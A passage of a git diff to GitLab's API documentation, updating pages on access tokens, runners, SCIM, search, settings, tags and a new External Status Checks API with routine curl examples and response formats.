+curl --request DELETE --header 'PRIVATE-TOKEN: <your_access_token>' \
+ --header "Content-Type: application/json" \
+ --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \
+ "commit_message": "delete file"}' \
+ "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
```
Parameters:
diff --git a/doc/api/resource_access_tokens.md b/doc/api/resource_access_tokens.md
index ecc5b3bf172..3b443dbb8f8 100644
--- a/doc/api/resource_access_tokens.md
+++ b/doc/api/resource_access_tokens.md
@@ -10,7 +10,7 @@ You can read more about [project access tokens](../user/project/settings/project
## List project access tokens
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9.
Get a list of project access tokens.
@@ -20,7 +20,7 @@ GET projects/:id/access_tokens
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID of the project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens"
@@ -45,7 +45,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
## Create a project access token
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55408) in GitLab 13.10.
Create a project access token.
@@ -55,9 +55,9 @@ POST projects/:id/access_tokens
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID of the project |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `name` | String | yes | The name of the project access token |
-| `scopes` | Array\[String] | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) |
+| `scopes` | `Array[String]` | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) |
| `expires_at` | Date | no | The token expires at midnight UTC on that date |
```shell
@@ -86,7 +86,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
## Revoke a project access token
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9.
Revoke a project access token.
@@ -96,8 +96,8 @@ DELETE projects/:id/access_tokens/:token_id
| Attribute | Type | required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID of the project |
-| `token_id` | integer/string | yes | The ID of the project access token |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `token_id` | integer or string | yes | The ID of the project access token |
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens/<token_id>"
diff --git a/doc/api/resource_label_events.md b/doc/api/resource_label_events.md
index 0c1735c0664..5fc7a0a52bd 100644
--- a/doc/api/resource_label_events.md
+++ b/doc/api/resource_label_events.md
@@ -1,12 +1,13 @@
---
stage: Manage
-group: Compilance
+group: Compliance
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Resource label events API
+# Resource label events API **(FREE)**
-Resource label events keep track about who, when, and which label was added to, or removed from, an issuable.
+Resource label events keep track about who, when, and which label was added to (or removed from)
+an issue, merge request, or epic.
## Issues
diff --git a/doc/api/runners.md b/doc/api/runners.md
index 1f0209c3cae..951e72edcb5 100644
--- a/doc/api/runners.md
+++ b/doc/api/runners.md
@@ -41,6 +41,7 @@ GET /runners?scope=active
GET /runners?type=project_type
GET /runners?status=active
GET /runners?tag_list=tag1,tag2
+GET /runners?search=gitlab
```
| Attribute | Type | Required | Description |
@@ -49,6 +50,7 @@ GET /runners?tag_list=tag1,tag2
| `type` | string | no | The type of runners to show, one of: `instance_type`, `group_type`, `project_type` |
| `status` | string | no | The status of runners to show, one of: `active`, `paused`, `online`, `offline` |
| `tag_list` | string array | no | List of the runner's tags |
+| `search` | string | no | The full token or partial description text to match |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners"
@@ -62,8 +64,9 @@ Example response:
"active": true,
"description": "test-1-20150125",
"id": 6,
- "is_shared": false,
"ip_address": "127.0.0.1",
+ "is_shared": false,
+ "runner_type": "project_type",
"name": null,
"online": true,
"status": "online"
@@ -74,6 +77,7 @@ Example response:
"id": 8,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "group_type",
"name": null,
"online": false,
"status": "offline"
@@ -115,6 +119,7 @@ Example response:
"id": 1,
"ip_address": "127.0.0.1",
"is_shared": true,
+ "runner_type": "instance_type",
"name": null,
"online": true,
"status": "online"
@@ -125,6 +130,7 @@ Example response:
"id": 3,
"ip_address": "127.0.0.1",
"is_shared": true,
+ "runner_type": "instance_type",
"name": null,
"online": false,
"status": "offline"
@@ -135,6 +141,7 @@ Example response:
"id": 6,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "project_type",
"name": null,
"online": true,
"status": "paused"
@@ -145,6 +152,7 @@ Example response:
"id": 8,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "group_type",
"name": null,
"online": false,
"status": "offline"
@@ -156,7 +164,8 @@ Example response:
Get details of a runner.
-[Maintainer access or higher](../user/permissions.md) is required to get runner details at the project and group level.
+The [Maintainer role or higher](../user/permissions.md) is required to get runner details at the
+project and group level.
Instance-level runner details via this endpoint are available to all signed in users.
@@ -186,6 +195,7 @@ Example response:
"id": 6,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "project_type",
"contacted_at": "2016-01-25T16:39:48.066Z",
"name": null,
"online": true,
@@ -231,7 +241,8 @@ PUT /runners/:id
| `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" \
+ --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
```
NOTE:
@@ -248,6 +259,7 @@ Example response:
"id": 6,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "group_type",
"contacted_at": "2016-01-25T16:39:48.066Z",
"name": null,
"online": true,
@@ -288,7 +300,8 @@ PUT --form "active=false" /runners/:runner_id
| `runner_id` | integer | yes | The ID of a runner |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "active=false" "https://gitlab.example.com/api/v4/runners/6"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "active=false" "https://gitlab.example.com/api/v4/runners/6"
```
## List runner's jobs
@@ -417,6 +430,7 @@ Example response:
"id": 8,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "project_type",
"name": null,
"online": false,
"status": "offline"
@@ -427,6 +441,7 @@ Example response:
"id": 5,
"ip_address": "127.0.0.1",
"is_shared": true,
+ "runner_type": "instance_type",
"name": null,
"online": true,
"status": "paused"
@@ -448,7 +463,8 @@ POST /projects/:id/runners
| `runner_id` | integer | yes | The ID of a runner |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/runners" --form "runner_id=9"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/runners" \
+ --form "runner_id=9"
```
Example response:
@@ -460,6 +476,7 @@ Example response:
"id": 9,
"ip_address": "127.0.0.1",
"is_shared": false,
+ "runner_type": "project_type",
"name": null,
"online": true,
"status": "online"
@@ -518,6 +535,7 @@ Example response:
"ip_address": "127.0.0.1",
"active": true,
"is_shared": true,
+ "runner_type": "instance_type",
"name": "gitlab-runner",
"online": null,
"status": "not_connected"
@@ -528,6 +546,7 @@ Example response:
"ip_address": "127.0.0.1",
"active": true,
"is_shared": true,
+ "runner_type": "instance_type",
"name": "gitlab-runner",
"online": false,
"status": "offline"
@@ -538,6 +557,7 @@ Example response:
"ip_address": "127.0.0.1",
"active": true,
"is_shared": false,
+ "runner_type": "group_type",
"name": "gitlab-runner",
"online": null,
"status": "not_connected"
@@ -566,7 +586,9 @@ POST /runners
| `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job |
```shell
-curl --request POST "https://gitlab.example.com/api/v4/runners" --form "token=<registration_token>" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2"
+curl --request POST "https://gitlab.example.com/api/v4/runners" \
+ --form "token=<registration_token>" --form "description=test-1-20150125-test" \
+ --form "tag_list=ruby,mysql,tag1,tag2"
```
Response:
@@ -620,7 +642,8 @@ DELETE /runners
| `token` | string | yes | The runner's [authentication token](#registration-and-authentication-tokens). |
```shell
-curl --request DELETE "https://gitlab.example.com/api/v4/runners" --form "token=<authentication_token>"
+curl --request DELETE "https://gitlab.example.com/api/v4/runners" \
+ --form "token=<authentication_token>"
```
Response:
@@ -642,7 +665,8 @@ POST /runners/verify
| `token` | string | yes | Runner's [authentication token](#registration-and-authentication-tokens). |
```shell
-curl --request POST "https://gitlab.example.com/api/v4/runners/verify" --form "token=<authentication_token>"
+curl --request POST "https://gitlab.example.com/api/v4/runners/verify" \
+ --form "token=<authentication_token>"
```
Response:
diff --git a/doc/api/scim.md b/doc/api/scim.md
index d00a0988d2b..42580ba65b6 100644
--- a/doc/api/scim.md
+++ b/doc/api/scim.md
@@ -39,7 +39,9 @@ Pagination follows the [SCIM spec](https://tools.ietf.org/html/rfc7644#section-3
Example request:
```shell
-curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" \
+ --header "Authorization: Bearer <your_scim_token>" \
+ --header "Content-Type: application/scim+json"
```
Example response:
@@ -90,7 +92,8 @@ Parameters:
Example request:
```shell
-curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
```
Example response:
@@ -134,7 +137,9 @@ Parameters:
Example request:
```shell
-curl --verbose --request POST "https://gitlab.example.com/api/scim/v2/groups/test_group/Users" --data '{"externalId":"test_uid","active":null,"userName":"username","emails":[{"primary":true,"type":"work","value":"name@example.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"meta":{"resourceType":"User"}}' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl --verbose --request POST "https://gitlab.example.com/api/scim/v2/groups/test_group/Users" \
+ --data '{"externalId":"test_uid","active":null,"userName":"username","emails":[{"primary":true,"type":"work","value":"name@example.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"meta":{"resourceType":"User"}}' \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
```
Example response:
@@ -188,7 +193,9 @@ Parameters:
Example request:
```shell
-curl --verbose --request PATCH "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" --data '{ "Operations": [{"op":"Add","path":"name.formatted","value":"New Name"}] }' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl --verbose --request PATCH "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \
+ --data '{ "Operations": [{"op":"Add","path":"name.formatted","value":"New Name"}] }' \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
```
Returns an empty response with a `204` status code if successful.
@@ -211,7 +218,8 @@ Parameters:
Example request:
```shell
-curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
+curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/groups/test_group/Users/f0b1d561c-21ff-4092-beab-8154b17f82f2" \
+ --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json"
```
Returns an empty response with a `204` status code if successful.
diff --git a/doc/api/search.md b/doc/api/search.md
index c8f24c0924a..9714bc17f62 100644
--- a/doc/api/search.md
+++ b/doc/api/search.md
@@ -54,7 +54,8 @@ Example response:
"path_with_namespace": "twitter/flight",
"created_at": "2017-09-05T07:58:01.621Z",
"default_branch": "master",
- "tag_list":[],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git",
"http_url_to_repo": "http://localhost:3000/twitter/flight.git",
"web_url": "http://localhost:3000/twitter/flight",
@@ -177,6 +178,7 @@ Example response:
"ruby",
"tests"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 13,
@@ -475,7 +477,8 @@ Example response:
"path_with_namespace": "twitter/flight",
"created_at": "2017-09-05T07:58:01.621Z",
"default_branch": "master",
- "tag_list":[],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git",
"http_url_to_repo": "http://localhost:3000/twitter/flight.git",
"web_url": "http://localhost:3000/twitter/flight",
@@ -598,6 +601,7 @@ Example response:
"ruby",
"tests"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 13,
@@ -956,6 +960,7 @@ Example response:
"ruby",
"tests"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 13,
diff --git a/doc/api/services.md b/doc/api/services.md
index e658c51f7e6..0a26a88de70 100644
--- a/doc/api/services.md
+++ b/doc/api/services.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Services API **(FREE)**
NOTE:
-This API requires an access token with Maintainer or Owner permissions.
+This API requires an access token with the [Maintainer or Owner role](../user/permissions.md).
## List all active services
@@ -754,7 +754,7 @@ Set Jira service for a project.
> Starting with GitLab 8.14, `api_url`, `issues_url`, `new_issue_url` and
> `project_url` are replaced by `url`. If you are using an
-> older version, [follow this documentation](https://gitlab.com/gitlab-org/gitlab/blob/8-13-stable-ee/doc/api/services.md#jira).
+> older version, [follow this documentation](https://gitlab.com/gitlab-org/gitlab/-/blob/8-13-stable-ee/doc/api/services.md#jira).
```plaintext
PUT /projects/:id/services/jira
diff --git a/doc/api/settings.md b/doc/api/settings.md
index ada1d0e7fc4..8225713fc00 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -241,16 +241,19 @@ listed in the descriptions of the relevant settings.
| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
| `commit_email_hostname` | string | no | Custom hostname (for private commit emails). |
| `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. |
+| `deactivate_dormant_users` | boolean | no | Enable [atomatic deactivation of dormant users](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). |
| `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. |
| `default_branch_protection` | integer | no | Determine if developers can push to the default branch. Can take: `0` _(not protected, both developers and maintainers can push new commits, force push, or delete the branch)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push, or delete, the branch)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no-one can force push or delete the branch)_ as a parameter. Default is `2`. |
-| `default_ci_config_path` | string | no | Default CI configuration path for new projects (`.gitlab-ci.yml` if not set). |
+| `default_ci_config_path` | string | no | Default CI/CD configuration file and path for new projects (`.gitlab-ci.yml` if not set). |
| `default_group_visibility` | string | no | What visibility level new groups receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `default_project_creation` | integer | no | Default project creation protection. Can take: `0` _(No one)_, `1` _(Maintainers)_ or `2` _(Developers + Maintainers)_|
| `default_project_visibility` | string | no | What visibility level new projects receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `default_projects_limit` | integer | no | Project limit per user. Default is `100000`. |
| `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `deletion_adjourned_period` | integer | no | **(PREMIUM SELF)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90.
-| `diff_max_patch_bytes` | integer | no | Maximum diff patch size (Bytes). |
+| `diff_max_patch_bytes` | integer | no | Maximum [diff patch size](../user/admin_area/diff_limits.md), in bytes. |
+| `diff_max_files` | integer | no | Maximum [files in a diff](../user/admin_area/diff_limits.md). |
+| `diff_max_lines` | integer | no | Maximum [lines in a diff](../user/admin_area/diff_limits.md). |
| `disable_feed_token` | boolean | no | Disable display of RSS/Atom and calendar feed tokens ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231493) in GitLab 13.7) |
| `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. |
| `dns_rebinding_protection_enabled` | boolean | no | Enforce DNS rebinding attack protection. |
diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md
index cc7f703f334..3454073cc8c 100644
--- a/doc/api/snippet_repository_storage_moves.md
+++ b/doc/api/snippet_repository_storage_moves.md
@@ -230,8 +230,10 @@ Supported attributes:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
---data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/snippets/1/repository_storage_moves"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"destination_storage_name":"storage2"}' \
+ "https://gitlab.example.com/api/v4/snippets/1/repository_storage_moves"
```
Example response:
@@ -279,8 +281,10 @@ Supported attributes:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
---data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/snippet_repository_storage_moves"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"default"}' \
+ "https://gitlab.example.com/api/v4/snippet_repository_storage_moves"
```
Example response:
diff --git a/doc/api/status_checks.md b/doc/api/status_checks.md
new file mode 100644
index 00000000000..f4e384a2efb
--- /dev/null
+++ b/doc/api/status_checks.md
@@ -0,0 +1,201 @@
+---
+stage: Manage
+group: Compliance
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
+type: reference, api
+---
+
+# External Status Checks API **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0.
+> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-status-checks). **(ULTIMATE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+## List status checks for a merge request
+
+For a single merge request, list the external status checks that apply to it and their status.
+
+```plaintext
+GET /projects/:id/merge_requests/:merge_request_iid/status_checks
+```
+
+**Parameters:**
+
+| Attribute | Type | Required | Description |
+| ------------------------ | ------- | -------- | -------------------------- |
+| `id` | integer | yes | ID of a project |
+| `merge_request_iid` | integer | yes | IID of a merge request |
+
+```json
+[
+ {
+ "id": 2,
+ "name": "Rule 1",
+ "external_url": "https://gitlab.com/test-endpoint",
+ "status": "approved"
+ },
+ {
+ "id": 1,
+ "name": "Rule 2",
+ "external_url": "https://gitlab.com/test-endpoint-2",
+ "status": "pending"
+ }
+]
+```
+
+## Set approval status of an external status check
+
+For a single merge request, use the API to inform GitLab that a merge request has been approved by an external service.
+
+```plaintext
+POST /projects/:id/merge_requests/:merge_request_iid/status_check_responses
+```
+
+**Parameters:**
+
+| Attribute | Type | Required | Description |
+| ------------------------ | ------- | -------- | -------------------------------------- |
+| `id` | integer | yes | ID of a project |
+| `merge_request_iid` | integer | yes | IID of a merge request |
+| `sha` | string | yes | SHA at `HEAD` of the source branch |
+
+NOTE:
+`sha` must be the SHA at the `HEAD` of the merge request's source branch.
+
+## Enable or disable status checks **(ULTIMATE SELF)**
+
+Status checks are under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can enable it.
+
+## Get project external status checks **(ULTIMATE)**
+
+You can request information about a project's external status checks using the following endpoint:
+
+```plaintext
+GET /projects/:id/external_status_checks
+```
+
+**Parameters:**
+
+| Attribute | Type | Required | Description |
+|---------------------|---------|----------|---------------------|
+| `id` | integer | yes | The ID of a project |
+
+```json
+[
+ {
+ "id": 1,
+ "name": "Compliance Check",
+ "project_id": 6,
+ "external_url": "https://gitlab.com/example/test.json",
+ "protected_branches": [
+ {
+ "id": 14,
+ "project_id": 6,
+ "name": "master",
+ "created_at": "2020-10-12T14:04:50.787Z",
+ "updated_at": "2020-10-12T14:04:50.787Z",
+ "code_owner_approval_required": false
+ }
+ ]
+ }
+]
+```
+
+### Create external status check **(ULTIMATE)**
+
+You can create a new external status check for a project using the following endpoint:
+
+```plaintext
+POST /projects/:id/external_status_checks
+```
+
+| Attribute | Type | Required | Description |
+|------------------------|----------------|----------|----------------------------------------------------|
+| `id` | integer | yes | The ID of a project |
+| `name` | string | yes | Display name of status check |
+| `external_url` | string | yes | URL of status check resource |
+| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by |
+
+### Delete external status check **(ULTIMATE)**
+
+You can delete an external status check for a project using the following endpoint:
+
+```plaintext
+DELETE /projects/:id/external_status_checks/:check_id
+```
+
+| Attribute | Type | Required | Description |
+|------------------------|----------------|----------|----------------------------------------------------|
+| `rule_id` | integer | yes | The ID of an status check |
+| `id` | integer | yes | The ID of a project |
+
+### Update external status check **(ULTIMATE)**
+
+You can update an existing external status check for a project using the following endpoint:
+
+```plaintext
+PUT /projects/:id/external_status_checks/:check_id
+```
+
+| Attribute | Type | Required | Description |
+|------------------------|----------------|----------|----------------------------------------------------|
+| `id` | integer | yes | The ID of a project |
+| `rule_id` | integer | yes | The ID of an external status check |
+| `name` | string | no | Display name of status check |
+| `external_url` | string | no | URL of external status check resource |
+| `protected_branch_ids` | `array<Integer>` | no | The ids of protected branches to scope the rule by |
+
+### Enable or disable External Project-level MR status checks **(ULTIMATE SELF)**
+
+Enable or disable External Project-level MR status checks is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../user/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+# For the instance
+Feature.enable(:ff_compliance_approval_gates)
+# For a single project
+Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:ff_compliance_approval_gates)
+# For a single project
+Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>))
+```
+
+To enable it:
+
+```ruby
+# For the instance
+Feature.enable(:ff_compliance_approval_gates)
+# For a single project
+Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:ff_compliance_approval_gates)
+# For a single project
+Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>)
+```
+
+## Related links
+
+- [External status checks](../user/project/merge_requests/status_checks.md)
diff --git a/doc/api/suggestions.md b/doc/api/suggestions.md
index 0fcb6122505..ea9baa79b4a 100644
--- a/doc/api/suggestions.md
+++ b/doc/api/suggestions.md
@@ -7,6 +7,8 @@ type: reference, api
# Suggest Changes API **(FREE)**
+This page describes the API for [suggesting changes](../user/project/merge_requests/reviews/suggestions.md).
+
Every API call to suggestions must be authenticated.
## Applying suggestions
diff --git a/doc/api/system_hooks.md b/doc/api/system_hooks.md
index 101769e6323..1f0bce1c78f 100644
--- a/doc/api/system_hooks.md
+++ b/doc/api/system_hooks.md
@@ -8,8 +8,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
All methods require administrator authorization.
-The URL endpoint of the system hooks can also be configured using the UI in
-the **Admin Area > System Hooks** (`/admin/hooks`).
+You can configure the URL endpoint of the system hooks from the GitLab user interface:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. Select **System Hooks** (`/admin/hooks`).
Read more about [system hooks](../system_hooks/system_hooks.md).
diff --git a/doc/api/tags.md b/doc/api/tags.md
index 3ac4e8bb6ab..53a981256aa 100644
--- a/doc/api/tags.md
+++ b/doc/api/tags.md
@@ -123,7 +123,6 @@ Parameters:
| `tag_name` | string | yes | The name of a tag |
| `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name |
| `message` | string | no | Creates annotated tag |
-| `release_description` | string | no | This parameter is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/tags?tag_name=test&ref=master"
@@ -149,10 +148,7 @@ Example response:
"committer_email": "jack@example.com",
"committed_date": "2012-05-28T04:42:42-07:00"
},
- "release": {
- "tag_name": "1.0.0",
- "description": "Amazing release. Wow"
- },
+ "release": null,
"name": "v1.0.0",
"target": "2695effb5807a22ff3d138d593fd856244e155e7",
"message": null,
@@ -182,82 +178,3 @@ Parameters:
| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `tag_name` | string | yes | The name of a tag |
-
-## Create a new release
-
-WARNING:
-This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766)
-for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311)
-in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead.
-
-Add release notes to the existing Git tag. If there
-already exists a release for the given tag, status code `409` is returned.
-
-```plaintext
-POST /projects/:id/repository/tags/:tag_name/release
-```
-
-Parameters:
-
-| Attribute | Type | Required | Description |
-| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `tag_name` | string | yes | The name of a tag |
-
-Request body:
-
-- `description` (required) - Release notes with Markdown support
-
-```json
-{
- "description": "Amazing release. Wow"
-}
-```
-
-Response:
-
-```json
-{
- "tag_name": "1.0.0",
- "description": "Amazing release. Wow"
-}
-```
-
-## Update a release
-
-WARNING:
-This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766)
-for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311)
-in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead.
-
-Updates the release notes of a given release.
-
-```plaintext
-PUT /projects/:id/repository/tags/:tag_name/release
-```
-
-Parameters:
-
-| Attribute | Type | Required | Description |
-| ---------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `tag_name` | string | yes | The name of a tag |
-
-Request body:
-
-- `description` (required) - Release notes with Markdown support
-
-```json
-{
- "description": "Amazing release. Wow"
-}
-```
-
-Response:
-
-```json
-{
- "tag_name": "1.0.0",
- "description": "Amazing release. Wow"
-}
-```
diff --git a/doc/api/templates/dockerfiles.md b/doc/api/templates/dockerfiles.md
index 6eedf8d2bc0..2d7e926561f 100644
--- a/doc/api/templates/dockerfiles.md
+++ b/doc/api/templates/dockerfiles.md
@@ -75,10 +75,6 @@ Example response:
"name": "OpenJDK"
},
{
- "key": "OpenJDK-alpine",
- "name": "OpenJDK-alpine"
- },
- {
"key": "PHP",
"name": "PHP"
},
diff --git a/doc/api/templates/gitlab_ci_ymls.md b/doc/api/templates/gitlab_ci_ymls.md
index 9475febdaec..388556d354f 100644
--- a/doc/api/templates/gitlab_ci_ymls.md
+++ b/doc/api/templates/gitlab_ci_ymls.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/api/todos.md b/doc/api/todos.md
index 864f87f988e..69c0f760a29 100644
--- a/doc/api/todos.md
+++ b/doc/api/todos.md
@@ -88,6 +88,7 @@ Example Response:
"source_project_id": 2,
"target_project_id": 2,
"labels": [],
+ "draft": false,
